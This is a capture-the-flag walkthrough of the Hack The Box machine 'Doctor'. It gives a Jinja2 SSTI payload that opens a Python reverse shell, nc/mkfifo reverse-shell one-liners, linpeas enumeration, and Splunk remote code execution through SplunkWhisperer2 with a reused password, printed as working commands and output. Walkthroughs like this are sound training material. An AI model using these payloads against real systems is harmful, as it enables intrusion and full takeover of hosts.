Doctor is an Easy Linux box released back in September 2020.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT]
→ nmap -vvv -p- 10.10.10.209 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 22/tcp on 10.10.10.209
Discovered open port 80/tcp on 10.10.10.209
Discovered open port 8089/tcp on 10.10.10.209
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT]
→ nmap -sCV -p22,80,8089 10.10.10.209
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-02 22:00 CEST
Nmap scan report for 10.10.10.209
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.57 seconds
Our nmap scan picked up port 80 so let's take a look at it:
Looking at the website we are hinted towards a domain name: doctors.htb so let's add it to our hosts file:
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT]
→ sudo -i
┌──(root💀nowhere)-[~]
└─# /usr/bin/sudo
┌──(root💀nowhere)-[~]
└─# echo '10.10.10.209 doctors.htb' >> /etc/hosts
┌──(root💀nowhere)-[~]
└─# exit
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors]
→ ping doctors.htb
PING doctors.htb (10.10.10.209) 56(84) bytes of data.
64 bytes from doctors.htb (10.10.10.209): icmp_seq=1 ttl=63 time=32.4 ms
64 bytes from doctors.htb (10.10.10.209): icmp_seq=2 ttl=63 time=32.9 ms
64 bytes from doctors.htb (10.10.10.209): icmp_seq=3 ttl=63 time=32.3 ms
^C
--- doctors.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 32.309/32.518/32.861/0.244 ms
Then we visit the webpage:
Now that we created an account we're going to create a test post:
And looking at the sourcecode of the page we get a hint that the /archive page is still under beta testing. So let's take a look at it:
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors]
→ curl http://doctors.htb/archive
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
Now here we see that the test post we created earlier is visible there, inside the title tags, now the question is wether or not the title of the post itself is sanitized or not, so let's test if this is vulnerable to a Server Side Template Injection (SSTI) attack
So let's test each of the payloads:
Now we know that Twig or Jinja2 templates are probably in use. So let's get a reverse shell:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.14.13\",9001)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
Then just browse to http://doctors.htb/archive and we get the reverse shell connection:
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.209] 48082
bash: cannot set terminal process group (840): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$ id
id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
web@doctor:~$
Now let's upgrade our shell to a fully interactive shell:
web@doctor:~$ which python python3 wget curl
which python python3 wget curl
/usr/bin/python3
/usr/bin/wget
/usr/bin/curl
web@doctor:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
web@doctor:~$ ^Z
[1] + 2659972 suspended nc -lvnp 9001
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors]
→ stty raw -echo ; fg
[1] + 2659972 continued nc -lvnp 9001
export TERM=screen-256color
web@doctor:~$ export SHELL=bash
web@doctor:~$ stty rows 40 columns 125
web@doctor:~$ reset
Now that we got a fully interactive TTY reverse shell, let's enumerate the box with linpeas:
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors]
→ cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh .
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
web@doctor:~$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh
--2021-06-03 15:39:34-- http://10.10.14.13:9090/linpeas.sh
Connecting to 10.10.14.13:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 341863 (334K) [text/x-sh]
Saving to: ‘/tmp/peas.sh’
/tmp/peas.sh 100%[====================================================>] 333,85K 698KB/s in 0,5s
2021-06-03 15:39:35 (698 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]
web@doctor:~$ chmod +x /tmp/peas.sh
web@doctor:~$ /tmp/peas.sh
Let it run and then in the output we see the following password:
Let's check which of the users have that password:
web@doctor:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001:,,,:/home/web:/bin/bash
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash
web@doctor:~$ ls -lash /home
total 16K
4,0K drwxr-xr-x 4 root root 4,0K Sep 19 2020 .
4,0K drwxr-xr-x 20 root root 4,0K Sep 15 2020 ..
4,0K drwxr-xr-x 6 shaun shaun 4,0K Sep 15 2020 shaun
4,0K drwxr-xr-x 7 web web 4,0K Jun 3 15:42 web
Let's try the shaun user:
web@doctor:~$ su shaun
Password:
shaun@doctor:/home/web$ id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
shaun@doctor:/home/web$ cd ~
shaun@doctor:~$ cat user.txt
7cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to privesc to the shaun user and get the user flag.
Now in order to privesc to the root user, let's run linpeas.sh once more, this time as the shaun user:
shaun@doctor:~$ /tmp/peas.sh
Although suprisingly we get nothing interesting other than hints towards the splunk service that's running on port 8089
shaun@doctor:~$ ps -aux | grep splunk
root 1139 0.0 2.0 257468 83740 ? Sl Jun02 0:40 splunkd -p 8089 start
root 1141 0.0 0.3 77664 13340 ? Ss Jun02 0:00 [splunkd pid=1139] splunkd -p 8089 start [process-runner]
shaun 429634 0.0 0.0 17668 736 pts/0 S+ 16:01 0:00 grep --color=auto splunk
And we also see that the splunk daemon is ran by the root user:
Here we can assume that shaun's PAM password is re-used for the splunk service, so let's try it out with the Splunk Whisperer2 python exploit:
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors]
→ git clone https://github.com/cnotin/SplunkWhisperer2
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors]
→ cd SplunkWhisperer2
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [HTB/Doctors/SplunkWhisperer2]
→ tree
.
├── LICENSE
├── PySplunkWhisperer2
│ ├── build_exe.bat
│ ├── PySplunkWhisperer2_local.py
│ ├── PySplunkWhisperer2_remote.py
│ ├── README.md
│ └── requirements.txt
├── README.md
└── SharpSplunkWhisperer2
├── app.config
├── FodyWeavers.xml
├── packages.config
├── Program.cs
├── README.md
├── SharpSplunkWhisperer2.csproj
└── SharpSplunkWhisperer2.sln
2 directories, 14 files
Let's test it using shaun's credentials:
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [HTB/Doctors/SplunkWhisperer2]
→ cd PySplunkWhisperer2
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [Doctors/SplunkWhisperer2/PySplunkWhisperer2]
→ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.13 --username shaun --password Guitar123 --payload id
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmptx03ln_m.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.13:8181/
10.10.10.209 - - [03/Jun/2021 15:56:31] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!
Seems to be working although we can't see the output of the command, so let's do it with a reverse shell this time:
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [Doctors/SplunkWhisperer2/PySplunkWhisperer2]
→ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.13 --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 9002 >/tmp/f'
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmprb66z6y4.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.13:8181/
10.10.10.209 - - [03/Jun/2021 15:58:45] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
[ 10.10.14.13/23 ] [ /dev/pts/47 ] [Doctors/SplunkWhisperer2/PySplunkWhisperer2]
→ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.209] 33510
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
50XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to get a reverse shell as the root user and we managed to print the root flag!
Here we can see the progress graph :